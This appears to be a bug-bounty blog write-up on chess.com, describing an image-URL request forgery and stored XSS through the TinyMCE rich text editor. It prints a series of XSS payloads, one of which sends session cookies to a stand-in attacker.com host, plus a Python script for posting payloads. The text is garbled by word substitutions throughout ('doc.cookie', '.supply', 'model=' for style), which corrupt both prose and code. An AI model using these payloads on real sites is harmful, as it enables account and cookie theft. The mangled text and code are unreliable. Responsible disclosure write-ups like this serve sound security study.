How I hacked chess.com with a rookie exploit
Enjoying Chess is among the many hobbies I love to do in my spare time, aside from tinkering round with know-how. Nevertheless, I am not excellent at it, and after shedding many video games, I made a decision to see if I may do one thing I am a lot better at; hacking the system!
This weblog put up is about how I used my cybersecurity information to seek out XSS on the #1 chess website on the web, with a person base of over 100 million members – Chess.com. However first, a little bit of preface (that features a barely much less critical, though amusing, OSRF vulnerability!)
In early 2023, I began taking part in lots on chess.com; throughout a dialogue with a good friend on Discord, I persuaded them to additionally signal as much as the location and used a function provided by chess.com
to turn out to be buddies as soon as they signed up instantly.
This function jogged my memory of the MySpace worm in ~2005 (heck, I wasn’t even alive then!) when Samy Kamkar injected some code into his profile that might good friend anybody who visited it after which inject the identical code into their profile (therefore creating the worm). I questioned if it might be attainable to do one thing comparable right here. I clicked on the hyperlink and created a brand new account, then checked the dev instruments community tab – curiously, after the account had been made, it despatched a GET request to htttps://chesss.com/registration-invite?hash=XXX
This meant that if I may get a person to request this URL, it might power them to good friend me robotically. Coincidentally, I used to be additionally messing with my settings after I got here throughout the holy grail…..a TinyMCE wealthy textual content editor with a picture add operate!
Let’s examine what occurs after I insert a link for the picture. Is the URL embedded immediately, or will there be some secure dealing with to guard in opposition to request forgeries?
Chess.com handles this server-side by re-uploading the picture to their content material internet hosting server after which pointing the picture URL to that. Hmmm…However what about utilizing a hyperlink whose root area is chess.com
? Would that also get re-uploaded? This might be necessary, particularly when chained with a particular URL like…
BINGO! I switched to my alt account, navigated to my major account’s profile after which checked my alt’s good friend checklist – it had efficiently added my major account.
I genuinely could not imagine this had labored, and I had fairly a chuckle about it. Throughout the bug-bounty report & triage, the builders tried to implement a block as a result of after I tried to breed it once more for them, it got here up with the next error message:
No drawback in any respect, although; I managed to bypass it once more by establishing a subdomain that included chess.com
& redirected it to /registration-invite
And here is what it regarded like when visiting my profile:
After discovering and reporting this bug, I used to be very inquisitive about what else I may obtain by abusing TinyMCE – may I get XSS? How good was the sanitisation? That brings us to the thrilling a part of the weblog put up…
After taking part in round with the editor for a bit, I realised I would not get very far with out utilizing one thing like Burp’s proxy to intercept the request to avoid wasting my About
description and inject uncooked HTML code immediately (Something written within the editor was handled as textual content). After all, as one would count on, there have been already preventions to take away any non-whitelisted attributes and tags – so let’s take a look at what is allowed.
Viewing the TinyMCE config on the location (you will discover this within the tinymce-lazy-client.js
file), for img
tags the background-image
model attribute is within the Enable
checklist and doesn’t get filtered out. This was a protracted shot, however I questioned if the operate to re-upload any exterior URL for the picture additionally acquired utilized to the attributes. Nicely…no hurt in attempting; let’s have a look at what occurs utilizing the next payload:
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url(https://take a look at.com/);"> <p>
I really could not imagine my eyes after I loaded up my profile. It had certainly conveyed the URL, and someplace alongside this course of, one thing had gone terribly fallacious, leading to a "
being appended to the start of the brand new hyperlink. This resulted within the model attribute being closed prematurely, inflicting the URL to be transformed into further attributes!
As a result of including unfiltered attributes was attainable, I attempted to determine how I may generate a payload that the server would manipulate into working malicious javascript on picture load. It appeared that within the URL, /
was getting used as a delimiter, with every component between it being added as a brand new attribute. So I attempted with url('https://take a look at.com/onload')
To determine the right way to add a payload, I attempted fuzzing by all of the symbols and seeing how every modified the ultimate consequence. Via this tactic, I labored out you possibly can add a ?
to switch the following attribute information (though this comes with the slight caveat that you simply would not be capable to use the ?
image in the remainder of the payload). Utilizing the next:
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url(https://photos.chesscomfiles.com/?/onload=alert);"> <p>
Now we now have one other situation: the ultimate ""
on the finish will throw a syntax error each time, stopping code from working…let’s use //
to remark that out and take a look at a fundamental alert(1)
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url('https://photos.chesscomfiles.com/?/onload=alert(1);//');"> <p>
Rattling, brackets are filtered….which means that I wouldn’t be capable to name any features with any parameters.
Even worse, virtually each helpful image is filtered – ,’ ^&[]’$%
…so how are we speculated to get any critical influence? Again to fundamentals – Let’s see if we will set a variable, x
, to 4
. (Fortunately, the =
image is not filtered out.)
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url(https://photos.chesscomfiles.com/?/onload='x=2;//');" class="imageUploaderImg" alt="" /></p>
Utilizing an ‘
in our payload messes up the JS (encoded to %27
) and throws a syntax error. I needed to do a little bit of considering right here, however after some time, I realised that %27
is also interpreted as the tip a part of a modulus operation…perhaps I may get the browser to execute that operation after which perform the variable task. This is the payload I got here up with:
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url(https://photos.chesscomfiles.com/?/onload=4';x=2;//');" class="imageUploaderImg" alt="" /></p>
RESULT! Now we’re getting someplace. Let’s examine if we will modify some inbuilt variables (like doc.cookie
) to a string as a substitute. This may be a ache as a result of all the same old methods of defining a brand new string utilise quotes or backticks which might be sadly filtered out.
Time to do some googling. After a little bit of rummaging round on StackOverflow, I got here throughout this remark:
So it seems you’ll be able to outline a regex after which get the string from the supply
attribute! Let’s incorporate this into our payload and attempt to overwrite the PHPSESSID
cookie. (Thanks, Frobinsonj!)
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url(https://photos.chesscomfiles.com/?/onload=4';doc.cookie=/PHPSESSID=invalid /.supply;//');" class="imageUploaderImg" alt="" /></p>
Overwriting the cookies is cool, however we need to extract the presently set ones for a extra important influence. We will attempt to set the doc and placement variables to redirect the person to a website we personal, including on the cookies as parameters, however the issue is we will not use the ?
Image, as talked about earlier.
Okay, so perhaps not as a parameter – however there are different methods to incorporate information within the URL – for instance, by setting it within the path. One thing like http:attacker.com/sensitivedata
requires the usage of a /
, however sadly, we already use that to format the entire URL as a string by way of the regex trick.
Nevertheless, who stated we have to enter the /
character manually? It is used on a regular basis for listing paths, so there should already be a JavaScript variable with it included that we will tack onto! On this case, I rapidly discovered location.pathname
This is the ultimate payload:
<p><img src="https://www.pngmart.com/information/22/Penguin-PNG-Pictures.png" model="show: block; margin: 0 auto; background-image: url(https://photos.chesscomfiles.com/?/onload=4';doc.location=/http:attacker.com/.supply+location.pathname+doc.cookie;//');" class="imageUploaderImg" alt="" /></p>
Good. So I can extract cookies with out HttpOnly or some other saved JavaScript objects. I pulled some delicate account information and reported it to the safety crew.
Having managed to get this far, I felt fairly proud, however I am at all times up for a problem and revel in pushing myself, so I needed to attempt to get full XSS. I contemplated for a few days about how I may obtain this.
Let’s return to the unique situation of utilizing url()
within the background-image
model that instantly closes the attribute with the URL leftover to be added as unfiltered attributes. What if we transfer the url()
half to a different, extra direct attribute like srcset
as a substitute of utilizing it in model? It would be a protracted shot, nevertheless it may be handled barely in another way and thus allow us to use extra symbols for a broader syntax of JS, resulting in full XSS! This is what I got here up with:
<p><img src="https://skii.dev/rook-to-xss/a.png" model="show: block; margin: 0 auto;" srcset=url(https://photos.chesscomfiles.com/onerror=eval(atob("YWxlcnQoMSk=)));2+4//></p>
As you’ll be able to see, this does not require a ?
for use, and the (
, "
symbols usually are not encoded, that means we will base64 any payload and immediately execute that! Whoo!
To prime all of it off, I rapidly realized that the TinyMCE wealthy textual content editor system was used not solely in your profile’s About Me
web page however virtually in every single place on the location, together with feedback in boards and blogs! This had a big influence as a result of hundreds of customers used the feedback and blogs day by day.
I hope you loved studying this as a lot as I did discovering this intriguing bug! Ultimately, it turned out that the power for XSS was already recognized (that is fairly widespread in bug bounties). Nonetheless, my preliminary vector by the background-image attribute was not recognized to them, and so they totally loved studying my detailed report, providing me a bonus reward for it.
Apart: How I by accident triggered blind XSS
Throughout communication with the triage crew at chess.com in regards to the preliminary OSRF vulnerability, they requested me how I managed to execute XSS (an alert had popped up whereas viewing my profile) – I used to be confused as a result of, at the moment, I could not get any injection attainable and had no thought the place they acquired that from. Perhaps it was one other hacker who additionally acquired fed up with shedding!
It turned out that when viewing my profile, the workers crew may roll again earlier variations to view – loading these earlier variations didn’t filter out malicious HTML from my enter. Thus, after I was attempting for XSS, the malicious payload was saved as an earlier model and executed as quickly because the workers member viewied it!
The basis situation behind these vulnerabilities is the re-uploading picture operate. Firstly, its checking system to see if the picture was hosted on chess.com can simply be tricked by together with chess.com within the area identify. As a substitute, it ought to verify if the root area is the same as chess.com
or, even higher, re-upload the picture to its posting CDN it doesn’t matter what the supply is.
Wealthy textual content editors are a gold mine for attaining XSS as a result of they permit totally different HTML parts for a extra fashionable look. As a substitute of accepting enter and treating it solely as text, it has to get uncooked HTML and immediately embed it – that is why configuring allow-lists for what parts & attributes could be taken is so necessary, in addition to guaranteeing the RTE is at all times up-to-date.
Nevertheless, on this case, TinyMCE was up-to-date and had been configured appropriately to not permit scripting tags and attributes. The issue was that once we inputted the code for our profile, it firstly sanitised it (good), nevertheless it did this earlier than it ran further code on it, such because the re-uploading operate – this led to the ultimate HTML being fully totally different and never going by sanitisation to recheck it.
If chess.com
needs to maintain RTE, it ought to be sure that the sanitisation is run immediately on the ultimate HTML proven to the person. Regardless that the HTML modification was brought on by the re-uploading operate modifying the URL, and technically fixing that might cease this particular assault vector, one other operate could do one thing comparable. Therefore, it is important to repair the sanitisation immediately! (Protection in depth)
Lastly, listed below are some further particulars in regards to the findings:
- When you’re questioning why I did not simply use
good friend.chess.com
immediately for the OSRF exploit, throughout my testing of this, chess.com modified one thing to do with the way it functioned, and I may solely getchess.com/registration-invite
to work… - Google didn’t like me establishing a
chess.com
subdomain, and a few weeks later, my area acquired flagged for “phishing.” – I needed to contact them to clarify and manually take away it because it affected my entire area. - Throughout the information extraction stage, the place I could not exfil the info as a parameter, I realised I may have as a substitute set the info as a subdomain like
http:sensitivedata.attacker.com
. That is attainable utilizing a multi-level wildcard (catch-all) DNS system with one thing like a Cloudflare employee to log the subdomain requested. This, nevertheless, could be extra difficult to arrange, and I have never dug too deep into it. - Alternatively, as a substitute of utilizing Burp to intercept and ship the uncooked information within the
About
part wealthy textual content editor, you possibly can additionally manually ship the POST request utilizing a scripting language likePython
import requests, os
import urllib3
cookies = {
xxxxx
}
headers = {
xxxxxx
}
information = {
'profile[firstName]': 'Jake',
'profile[lastName]': '',
'profile[location]': '',
'profile[country]': '164',
'profile[language]': '10',
'profile[contentLanguage][contentLanguage]': 'default_and_user',
'profile[timezone]': 'Europe/London',
'profile[ratingType]': '',
'profile[fideRating]': '',
'profile[about]': '<p>payload right here</p>',
'profile[save]': '',
'profile[_token]': 'xxxx',
}
whereas True:
information['profile[about]'] = enter()
response = requests.put up('https://www.chess.com/settings', cookies=cookies, headers=headers, information=information)
print(response)
Disclaimer: This course of was finished beneath CC’s bug bounty program, strictly staying throughout the scope; PII data has been censored by request. This bug was reported over a yr in the past and has handed the 9-month disclosure time. Please solely hack on websites that you’ve written permission to!